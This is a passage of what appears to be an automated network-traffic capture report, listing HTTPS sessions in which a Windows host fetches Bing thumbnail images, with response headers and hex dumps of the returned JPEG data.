26 44 53 5f 45 56 54 49 44 3d 45 36 33 38 33 31 41 46 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=394511433&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=E63831AF0CC046A09D1AE6A597F951CB&ASID=0e6e874893f342b5b693664973a6aa48&TIME=20241126T153105Z&SLOT=1&REQT=20241126T153059&MA_Score=0&&DS_EVTID=E63831AF
2024-11-26 15:31:18 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:18 UTC	346	OUT	GET /th?id=OADD2.10239379264963_1YDKCAGWFU8IOZ3VZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 467237 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D9227A3A230242709A525D38D6D0B0A0 Ref B: EWR30EDGE0908 Ref C: 2024-11-26T15:31:18Z Date: Tue, 26 Nov 2024 15:31:18 GMT Connection: close
2024-11-26 15:31:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 31 33 3a 33 31 3a 31 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 13:31:118C
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: a8 d5 ff 00 79 4d a5 62 2c 4c ce cb 4e 53 ba 9b f2 ac 74 91 ff 00 ab a4 21 f4 99 db f2 b5 45 24 aa 24 a8 da 4d df 32 d2 dd 94 a2 d9 65 9f fb d4 9b ea a7 98 cd 25 2a 96 a7 f2 0e 44 5a ca 7d ea 55 da d1 fc b5 04 6e cb bf fd aa 7a cb fb bf f5 7f 35 1a 0a c4 8c 19 63 dd fc 54 cf 31 7c bf 96 a1 69 24 fb bf c2 d4 2f cb f7 be f5 11 b0 f9 7b 8f 6f 98 6e 6a 6a d2 c8 ca df f2 d2 98 d4 ee 3b 0b 4e 53 51 d1 48 63 db 73 47 fe d5 23 6e 68 e9 b9 fd dd 46 b2 b5 57 30 d2 b9 62 39 1a 38 fe 6f e1 a6 79 bb a4 a8 14 6e a7 c3 f2 ef 66 a9 1b 8a dc 96 8a 6f de 8f fd 9a 77 fe 83 41 21 4e 63 4d a2 80 0d de f5 3b 35 43 b5 fd 6a 76 64 5a 99 13 22 39 1f 6c 94 79 8a df 7a 92 62 ad 26 e5 a4 87 ef 50 90 59 58 93 cc 46 f9 69 92 32 d3 7c b7 a5 61 b7 ef 55 59 02 b1 36 52 86 ff 00 6a ab af Data Ascii: yMb,LNSt!E$$M2e%*DZ}Unz5cT1\|i$/{onjj;NSQHcsG#nhFW0b98oynfowA!NcM;5CjvdZ"9lyzb&PYXFi2\|aUY6Rj
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: 3b 69 f2 06 fb d4 8a 8c df f0 1a 00 74 87 75 33 6b fa d3 fa d3 b7 35 02 b9 17 96 cd 1e ea 5a 7a 86 fe 2f bb 4f c2 50 2e 62 26 a5 a9 24 4a 56 8f f8 68 b8 73 10 7c d4 ac 36 c9 52 c7 1b 2f de a5 d9 40 73 0c d8 df c5 4d 65 65 7d b5 63 63 79 74 34 6c bf 7a 95 d0 b9 ad b1 5e 95 53 77 7a 97 65 39 56 9d d0 b9 88 95 36 d3 96 3a 7b 27 f0 d3 b1 b6 95 c3 9b b0 c9 23 5f e1 a6 c6 8b e6 7c d5 2f 4a 33 53 76 49 1f 97 fb cd ab 42 c0 bf c5 52 31 a3 7d 3b b0 bb 1b e5 ed fb b4 ed 98 4f 96 3a 55 3f f7 cd 19 a9 06 c8 9a 35 6a 6b 46 ff 00 c2 95 33 15 6f bd 1d 11 96 a0 ae 66 90 cf 2f fb d4 df 2d 7f 86 a7 61 ba 93 3b 68 0e 66 43 e5 bd 2a c6 f5 2e ea 37 d5 0a e4 4d 13 54 91 26 d8 f6 d3 a8 a5 71 39 5d 09 b2 99 24 59 a9 28 a2 e2 4e c4 6b 1e da 7b 22 b5 19 a5 a2 e1 cc c8 bc 8f ee d2 Data Ascii: ;itu3k5Zz/OP.b&$JVhs\|6R/@sMee}ccyt4lz^Swze9V6:{'#_\|/J3SvIBR1};O:U?5jkF3of/-a;hfC*.7MT&q9]$Y(Nk{"
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 79 69 f7 a9 ed 02 d5 d8 e1 db f2 b4 74 e6 81 9a 8f 6e af 61 2c 07 bb 7b 19 ed 05 27 92 bb 3e 5a d0 d9 fd ea 8d be 6f 96 3f e1 aa f6 8d 93 3c 0c 16 a5 2f 27 de 93 c9 ab bb 19 be 5a 1a 2d bf 7b ee d3 f6 86 1f 53 4d ec 56 8e 1c 7f cb 4a 1a df fb b5 6f 0d f7 a9 b1 c6 d4 bd a1 7f 53 5b 58 ac b1 35 27 95 b7 e6 6a b9 e5 9a 66 c6 a7 ed 09 96 11 2e 85 46 89 5a 9b 1c 7b 6a eb 54 6c 9b be 6a 7c e6 2f 0a d6 a4 0c 8b e5 d3 55 33 56 18 2f 97 b6 98 c9 fd e7 aa 52 33 9d 1f 7a e4 4d 1e da 8d 93 fb d5 2e 29 18 37 f7 2a 93 68 e7 94 2f d0 87 cb 5f ee 50 d1 af f7 2a 56 1f ec 52 55 73 19 b8 74 b1 17 96 bf f3 ce 8d 89 fd ca 96 88 c2 ff 00 15 3b 8b d9 26 45 e4 2b 7c cd 4d 99 15 53 75 58 6f ee d2 79 79 f9 68 e6 14 e8 2b 34 91 49 a9 55 ea d3 40 b4 79 29 55 ce 8e 6f aa d4 2a b0 fe Data Ascii: yitna,{'>Zo?</'Z-{SMVJoS[X5'jf.FZ{jTlj\|/U3V/R3zM.)7h/_PVRUst;&E+\|MSuXoyyh+4IU@y)Uo*
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: f1 50 c3 77 dd a0 39 85 64 fd e6 e5 a1 77 35 39 7f da a2 80 11 69 18 53 94 6e f9 6a 46 8f 6d 04 35 1b 68 43 4b 8a b7 1c 2d e5 d3 9a 0d d4 73 0a d1 2b 6d 7f e2 a5 58 f7 55 af b3 bd 4c b6 ff 00 c3 40 5a db 14 96 2f de 55 88 e0 5a 9d 6d ea 55 8f fb b4 9b d4 a5 f7 10 79 74 28 ab 0b 1d 48 b1 6e f9 aa 76 27 94 ad 1c 74 f5 8b f7 75 3e d4 57 f9 a9 ea 94 ae 86 95 8a fe 5b ff 00 15 3b c9 ff 00 38 ab 1e 5d 2f 96 9e b4 f4 1d c8 15 2a 45 8e a5 db ee 69 76 fb 51 70 23 f2 e9 7c ba 7d 14 5c 90 db 46 df 6a 28 a4 01 4e a4 5a 5a 2e c0 28 a2 8a 90 0a 4c d2 d2 66 80 12 8a 28 a0 77 0a 28 a2 9d c4 14 db 87 f2 ad e6 93 fb 88 cd f9 2d 39 6b 86 f8 95 f1 37 c2 1e 1c d3 6f ad e6 bb 8f 52 bc 54 da f6 36 92 7c dc fc bf 33 74 5a 11 a5 3a 73 a9 25 18 ab b6 73 7a 3f c6 b6 bf ba dc ba 2d Data Ascii: Pw9dw59iSnjFm5hCK-s+mXUL@Z/UZmUyt(Hnv'tu>W[;8]/*EivQp#\|}\Fj(NZZ.(Lf(w(-9k7oRT6\|3tZ:s%sz?-
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: de 7c 53 5d 27 9b 6f 70 ff 00 32 be 1b ee d4 1a 1d b4 b2 f8 46 ee c6 39 3f 7d f6 8f 31 d1 df f8 7b 56 8e 8a fa 7d ed d5 c5 bc 3e 7c 51 d8 6d 6d ef f7 77 7a 55 bd 43 54 d1 e2 7b 48 63 48 16 4b 87 69 66 74 fe 3f 45 a3 de 6e c8 39 62 ba 9c ae 8b a5 ea 70 69 af a8 35 a4 8b 1e f6 fe 0d ca 95 93 71 1f d9 ee a6 56 b8 93 cb 97 f7 ae ff 00 ed 1a ea b5 ab cb eb 89 2e e4 f1 16 ad 3d ae 97 13 ed 86 d2 dd f6 b3 af f0 ee f5 5a e6 ac 60 6f f5 d3 7c d0 b3 fc 88 ff 00 dd ed 54 9e 86 2d 47 44 82 44 89 27 49 1b e5 93 e5 df bd d9 aa ce 87 71 73 a5 f8 9a df c5 11 c0 92 fd 81 f7 3d bb fd d9 97 bf e9 4e 98 ee de df bb f2 d7 ee 3f f4 a9 34 d0 bf db 1a 7a c9 06 ef f4 b8 57 63 fd d7 f9 ba 56 75 9d e0 ec 55 38 ae 75 73 d3 b5 6d 5a 74 f1 fe 8c b1 c1 25 be 9f ae 5a 5b 2a 6f 4f 95 3e Data Ascii: \|S]'op2F9?}1{V}>\|QmmwzUCT{HcHKift?En9bpi5qV.=Z`o\|T-GDD'Iqs=N?4zWcVuU8usmZt%Z[*oO>
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: bb 75 77 a6 45 16 f7 17 97 12 24 eb 6f b9 be 4f e3 51 58 37 1a 35 e5 ae f9 21 82 46 56 7f 9f e4 fb f5 ab 63 1d c8 92 15 92 c6 75 8d 9f e7 49 92 bc ba 93 e7 7a ad 7e 64 62 39 25 14 e3 25 63 c5 66 f1 56 a1 e3 6f 11 6a 17 d7 d1 c1 12 da bf 97 0c 31 6d ff 00 57 ca a8 ff 00 eb d5 4b c8 35 5b 2d 66 d2 f2 1b 49 da 1b 77 55 b8 d9 ff 00 3c c7 f7 bd 2b 77 e2 d7 86 b4 ad 0b c6 9e 4e 9b bf ed 17 1f bd 58 6d a4 55 d8 a5 b7 72 a2 b9 bd 2c 35 fd bd de ed 6a 7b 76 fb af bd ff 00 8b e9 5e 85 14 d3 b9 e7 62 23 cb 66 be 17 b7 a1 a1 0e a8 ba 94 7a 85 ba c9 25 c6 9b a9 26 db 8d 2d df e5 7f f6 87 f7 5a b8 38 f4 89 e5 9d e1 9b 45 9f 4b 85 5d bf 7b bf 74 48 bd b0 4d 75 8d a4 45 3c 93 47 63 ab 49 15 e3 26 d8 5d fe 58 9d 87 5c d6 1d f4 9e 20 fe d5 79 a6 d3 20 58 d9 fc 87 86 1b ad Data Ascii: uwE$oOQX75!FVcuIz~db9%%cfVoj1mWK5[-fIwU<+wNXmUr,5j{v^b#fz%&-Z8EK]{tHMuE<GcI&]X\ y X
2024-11-26 15:31:20 UTC	16065	IN	Data Raw: d6 35 cd 13 c4 17 11 eb 53 c1 71 78 df 71 dd 3c df 27 fd d1 46 8b ac 78 a9 64 b4 d4 35 eb bb 59 6d e2 b8 69 5f ca 75 6d ea 7f 87 6a d7 19 a9 78 92 5b cf 3a 6b e8 2c 5a ea d5 d9 5f 64 ec cd 37 d0 9a b9 71 79 73 61 3d bd 8c 70 41 e4 ca 9e 7a 79 3f 2a a6 fe 83 15 ab c2 73 53 d8 ee a7 52 9c 65 ca fa 1e b1 a6 ea f6 73 c8 97 9a 7e a5 63 fe 91 bb c9 49 93 e6 e3 ae 47 b5 47 ae 78 5e 4f 10 6a 90 eb 96 ba b5 8c 57 16 7f ea 5d 11 97 e6 ae 02 cf c5 9a 67 87 34 7b 75 d3 f4 db 5b 8b eb fd df eb be 65 85 b7 73 ff 00 01 ab 50 fc 58 d4 ec 24 9a c6 3d 26 c5 be 7d be 74 3f c1 ef f3 57 93 3c 05 68 bb a5 a0 f9 93 4d a7 f9 7e a7 5b e2 0f 0f 6a ba 97 d9 ec f5 2f 1b df 79 2a fe 6b fe ee 1f 9d ba fc ad 59 9e 0b b9 82 f2 e9 ee b5 af 10 c1 71 75 74 ed 04 30 c2 8a ab e5 af cb db f8 Data Ascii: 5Sqxq<'Fxd5Ymi_umjx[:k,Z_d7qysa=pAzy?sSRes~cIGGx^OjW]g4{u[esPX$=&}t?W<hM~[j/ykYqut0
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 13 c7 1a ce a5 a6 d8 5a dd 68 fe 76 d9 ad 21 4f 9a e6 3f 53 dc 57 6c d3 db 7d 85 3e cb 7f 1c b6 f1 3b 4e f0 a2 6e 95 ff 00 c2 a9 c7 24 e9 7c fe 26 b1 92 7b 58 76 2b 43 36 f6 fb bd 3e 7a f1 f0 f9 8d 4a 6e 4a 6a e7 64 f0 b7 b6 a7 9d ea 10 78 e3 4f b1 d4 f4 99 23 ba d2 f4 b9 76 df 43 6e 9b 9b 66 5b a0 f7 ad 0d 3e f7 c5 1a b4 7f 65 be bb be f3 19 3c bb 44 9a d7 73 4c a7 e5 dc 2b aa f1 46 a9 3c fe 1f d4 2e 96 c2 36 93 54 85 56 6b 88 67 6f 37 76 ef 97 8e 8a b5 9b e0 7d 4e e5 3e 28 5b db ea 1a 96 db cb 7b 4f 92 17 fe 06 2b c2 7a 57 a1 0c ca 13 a2 e5 08 ea 8c fd 85 a7 66 ca 3e 19 f0 e6 91 a2 78 ba e2 cf cf ba bc d7 2d 51 a2 86 67 4d b0 27 fb 59 eb bb b5 75 56 fa 8e a7 ac f8 ab 50 86 6b bf b1 dc 34 31 b4 2f 0b ee f9 63 5c 38 ff 00 78 d6 87 89 a7 b1 d4 20 9a ce 6b Data Ascii: Zhv!O?SWl}>;Nn$\|&{Xv+C6>zJnJjdxO#vCnf[>e<DsL+F<.6TVkgo7v}N>([{O+zWf>x-QgM'YuVPk41/c\8x k
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 63 69 1e 14 b0 ee 6f 99 1c 4f 88 a0 8e cb 55 86 3d 42 39 ef 24 ba b4 55 ff 00 47 4f 4f e2 ad 2f 0c e8 ba 1d fc 89 25 e4 f7 5e 4a a7 fa 47 d8 7e 56 85 7f e9 a6 ef e9 52 6a 5e 14 6b 5d 4b 53 d7 2f b5 a9 de c6 de 1f f8 94 dd bc 9b 5a 66 ed ef 58 b0 87 d4 60 b7 b3 87 e6 9b 63 4f 70 9f 75 a6 c7 27 f4 ae 59 56 5c fc c8 15 39 26 d3 5b 9d 26 93 a8 e9 5a 34 73 5a e9 f2 5d 7f a0 5c 32 da 42 ef b6 57 87 a8 66 65 f7 ac bf 16 6b 17 8d 3b c3 34 12 2c 92 dc 6e 79 be 5f 37 9f f0 ac fd 0f 5c 8f 5e b5 b7 b8 f2 fe cf 71 12 34 53 79 29 b5 51 77 65 7f 4a 35 eb 7f 3e 34 ba 59 e4 b8 d4 2e 37 44 8f 33 ae df 6d d5 e4 e3 65 cd 53 53 b2 94 79 69 7b a5 7d 4a 39 ee a0 7b 59 a7 9e 28 65 f9 9d e1 ff 00 96 d8 fe f5 47 75 6e ad b2 65 48 e2 55 75 f9 3e 95 7b c3 bf 6e 6d 01 ed ee 2d fe cb Data Ascii: cioOU=B9$UGOO/%^JG~VRj^k]KS/ZfX`cOpu'YV\9&[&Z4sZ]\2BWfek;4,ny_7\^q4Sy)QweJ5>4Y.7D3meSSyi{}J9{Y(eGuneHUu>{nm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:18 UTC	375	OUT	GET /th?id=OADD2.10239360298759_18SWFMUKVYFM3YLDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 575544 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4A9E4886F4584FF2AC75BAAC77C70A8D Ref B: EWR30EDGE1005 Ref C: 2024-11-26T15:31:18Z Date: Tue, 26 Nov 2024 15:31:18 GMT Connection: close
2024-11-26 15:31:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 01 28 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 07 80 00 00 01 01 00 03 00 00 00 01 04 38 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d4 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 00 00 00 08 00 08 00 08 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 34 20 32 32 Data Ascii: JFIFHH(ExifMM*8(12i``Adobe Photoshop 24.4 (Windows)2023:05:14 22
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: e9 c0 e2 3d 8d 64 de cf 73 cd cd b0 2b 15 86 71 fb 4b 55 ea 7d df 26 b9 78 c9 b9 a3 81 57 fd 8a 9f 49 d5 64 ba bb 48 c4 89 5c d5 ad dc 5a a5 a4 37 56 31 ee b7 b8 45 96 17 ff 00 64 ae e1 51 6d 91 24 f9 63 91 5a be c3 d8 ab 68 7e 69 ed 2d a3 3a 4d 72 e6 58 ae bc b9 2e e3 da bf 71 29 61 8a d3 ec 2f 79 34 9b 9b ee a2 56 1c 76 f2 a7 ef 24 82 b4 ad ee d9 a0 f2 da 3f 97 f8 29 fb 36 91 9b 92 08 f5 39 62 93 6a da 7f c0 2a d3 5e 4b 79 1f 97 34 74 b6 f6 0a b2 79 8d 26 e6 6a b7 70 f6 69 07 df 4d df dc a5 2b 13 cd a1 53 ec 7b 53 f7 9f 76 a1 bc 8e d9 ff 00 77 e5 ff 00 c0 ea d4 77 53 bf ca d1 fc b5 04 da 7c b7 53 ee fe 1a a5 2b 6e 23 9d b8 8d ad 67 76 8e 3d d1 d4 6b a9 b2 fd d8 eb a7 9b 47 95 7e f7 dd a8 17 48 89 7e 55 b4 f9 aa bd ac 7a 30 e4 b9 ce 43 70 d2 dc 7e f3 e5 Data Ascii: =ds+qKU}&xWIdH\Z7V1EdQm$cZh~i-:MrX.q)a/y4Vv$?)69bj*^Ky4ty&jpiM+S{SvwwS\|S+n#gv=kG~H~Uz0Cp~
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: e4 5b 7f 29 bf b9 5d 92 ca df c5 1e ea 73 5c b2 c7 f3 41 55 76 8b 8c ec 79 bd bf 86 1d a7 f2 fc 89 37 56 9d af 81 fc d9 36 cd e6 45 fe e5 76 f1 b4 0f f3 79 7b 9a a6 85 a2 7f bb bd 7f df a4 e7 24 6d ed 99 c1 ea 9e 03 58 a0 dd 6b e6 4a df ed d7 3f 37 85 f5 a8 a4 ff 00 8f 4a f6 38 d3 fb b4 ff 00 2d 3f e7 9d 4f b6 68 a8 55 69 9e 30 da 16 b1 17 ca d6 32 54 31 db dc af fc b0 93 72 ff 00 b1 5e dc b6 d0 37 fc b3 a1 ac e0 6f f9 67 1d 2f 6a 74 7d 60 f1 d8 6e 7c af f5 d6 95 af 63 71 a6 4b 1e d9 a0 f9 bf df af 43 b8 d0 34 ab a8 f6 cd 68 95 9b 37 82 34 af f9 67 1f fd f7 47 b5 89 32 9a 67 34 d6 7a 03 fe f2 68 e3 ff 00 be ea 3b ad 1f c2 6d 07 ee 6e 3e cf 27 fb fb ab 62 f3 e1 e2 cb fe ae fe 45 ff 00 63 f8 6b 2f 50 f8 7d 7d 17 fa bb 8d df ee 55 46 71 60 a5 e6 66 b7 87 e5 Data Ascii: [)]s\AUvy7V6Evy{$mXkJ?7J8-?OhUi02T1r^7og/jt}`n\|cqKC4h74gG2g4zh;mn>'bEck/P}}UFq`f
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: fb 1a d1 d3 ee 60 ba 83 6f 99 e6 ae ff 00 93 fb c9 51 f9 51 5b dd 6d 93 e4 dd f7 1d d3 6f 5a d2 fd 48 b7 43 92 b5 1a f7 86 a7 7b 7b 88 e4 bc b1 5f b8 ff 00 c4 8b e8 eb fd 45 76 1e 19 d5 a7 48 d2 ea de 7f 36 36 fe 07 a3 54 91 2c ec 7c c6 8f 72 af ca e8 9f c1 54 ac 64 89 e7 9a ce d5 23 8a e9 7e 64 47 fb af fe cb 7d 7b 35 4a 8d 9e e6 de d2 2e 29 33 23 e2 b5 9c b6 f6 33 5d 5b f9 72 e8 37 ef fb eb 7d 9f 36 9f 27 f7 e2 ff 00 67 fd 9a e2 3c 3f 69 2d 9f 9d 67 71 f7 7e 5d 97 69 f3 44 eb f5 fe 1a f5 8d 17 50 b3 bf 81 ed 6f 20 fb 3c 9b 36 cd 6d 71 fe 7e 6f a8 ae 7f c4 9e 12 fe cd 91 f5 0d 2e 49 2d ec 7f e5 ac 33 3f ca 9f ec 37 fb 34 6d ab d8 c1 53 8c 59 c4 c9 7a df da 2f 27 99 f6 88 db f8 1f ee ba d5 c9 2d 22 69 11 b4 ff 00 de c6 c9 bb 67 f1 27 a8 ac 0b ad d1 6a ae Data Ascii: `oQQ[moZHC{{_EvH66T,\|rTd#~dG}{5J.)3#3][r7}6'g<?i-gq~]iDPo <6mq~o.I-3?74mSYz/'-"ig'j
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 44 ff 00 bc f2 e5 a7 5c 78 a3 cd ff 00 97 7d bf ee 56 1d b9 83 f8 6d 37 55 d8 6d 99 bf e5 d2 45 a6 e9 41 6e 61 2c 45 46 f4 2c c9 e2 49 d7 fd 4c 7b 6a 8b 6a 77 d7 32 6e 69 e4 f9 ab 5a cf 4f 59 64 f2 e4 83 6d 74 da 0f 81 fe d9 07 9d 1c 91 ff 00 b8 e9 58 ca a5 28 16 9d 49 2d 59 c8 d8 fd ba 78 f6 ac ff 00 7a b5 2c f4 fb e4 d9 ba 3a ee 2c fc 16 d6 f1 fc de 5d 6b d9 e8 db 23 f2 ff 00 76 9f ee 57 24 eb 2b e8 8d d6 8b 57 73 96 d2 ed ef 22 8d 77 41 ff 00 7d a5 74 1a 7c 97 9e 5e d9 ad 24 ff 00 7f 65 6b 5a e8 f0 27 cc d2 49 ff 00 7d d5 cf 2d 52 3d be 7c 9b 7f db 7a c5 ce e4 b9 a4 52 b5 b3 91 be 66 ab 3e 5b 7d da 64 97 3a 7c 4f fb cb b8 37 7f 07 cf 4f f3 15 be ec 89 52 d8 ae d9 62 18 f6 47 fe d5 45 25 ca c5 26 d9 3e 55 fe fd 27 9b b6 3f 9a 4a c9 d5 35 45 49 3c b8 e4 Data Ascii: D\x}Vm7UmEAna,EF,IL{jjw2niZOYdmtX(I-Yxz,:,]k#vW$+Ws"wA}t\|^$ekZ'I}-R=\|zRf>[}d:\|O7ORbGE%&>U'?J5EI<
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 77 d2 a9 17 a1 e7 d5 a7 23 8a b7 d6 60 9f ce b3 be 82 78 ae ad fe 6d 88 9f af 3f c3 4f b1 99 6e ae a6 55 bb 8d a4 54 fd d3 ec fb 99 ff 00 3d 2b 77 5a d0 22 bd bb da d0 7d a1 55 3e 47 fe 24 ff 00 76 b8 fb eb 3d 43 c3 da 94 de 75 bc 92 db c4 fb 92 67 fe ef ad 76 c6 d2 d1 1c b7 94 75 91 35 e5 94 49 7d ba 68 23 fb 44 5b 99 e1 4f ba eb ea b5 cf eb 0e cd 7d f6 85 8f ca 59 53 f8 13 6e ca ea 5a 7b 6d 4a 04 6f 32 38 a6 44 ff 00 46 9b 7d 66 df 25 dd f4 6f 6e d0 6d 91 7f d7 42 ff 00 36 ff 00 a3 57 4d 39 30 94 9b 56 47 05 e3 cd 39 6e 20 b4 ba 6f 32 56 b0 b8 59 3e 44 f9 b6 d6 8e 9f 06 eb 1f b4 2c fb 96 57 f9 1f 66 dd ff 00 ef 0a e9 a4 b2 54 b1 78 e4 b4 8e 55 d9 b6 5f ef 6d ac bd 2e cf 6d f4 da 6d 9c 8f 2c 7f eb 61 f3 be 6f 94 ff 00 85 75 c6 b5 d6 a6 3f 56 5c ee dd 4c Data Ascii: w#`xm?OnUT=+wZ"}U>G$v=Cugvu5I}h#D[O}YSnZ{mJo28DF}f%onmB6WM90VG9n o2VY>D,WfTxU_m.mm,aou?V\L
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 9b 43 31 a1 fc e8 e6 59 64 f3 3f d5 d3 96 36 ff 00 9e 7f 35 74 d2 78 5f 53 5f ba 91 ad 35 7c 27 7c df 34 92 7c d4 ff 00 b4 29 f5 66 9f da 98 7f e7 47 39 bf 64 7f ea ea 0b 89 db f8 6b a4 ba f0 e5 ca fc be 66 ef f7 2a 9c da 0d e2 fd e8 e4 ad 69 e2 e9 be a6 d4 f1 94 25 af 31 cc 5e 49 73 ff 00 2c ea 93 24 e7 ef 49 25 74 77 1a 73 a4 9b 6a 26 d3 ff 00 bc f5 dd 0c 5c 22 91 db ed a9 bd 8f ce 6f b2 34 70 24 92 7e e9 57 ee 6c fb db 85 56 b5 33 8b ad d3 47 e6 b3 7c df ef d6 94 31 b5 e7 da 3c 9f de ff 00 b0 95 bf e1 bf 87 5e 25 f1 0c 09 26 93 a2 c8 b1 ff 00 cf 6b 87 da bc 7f bd 5f ad 4e 5c ad df 63 f3 8c 3e 1e a5 4f 81 33 22 17 b6 ba 83 6f 97 27 99 fd cd f4 4c ab f7 a3 93 fe fb fb d5 d9 69 3f 09 fc 4f 75 1f 99 34 96 36 77 11 6e f9 de 76 6a bf a2 f8 19 bc f7 b5 d6 b5 Data Ascii: C1Yd?65tx_S_5\|'\|4\|)fG9dkf*i%1^Is,$I%twsj&\"o4p$~WlV3G\|1<^%&k_N\c>O3"o'Li?Ou46wnvj
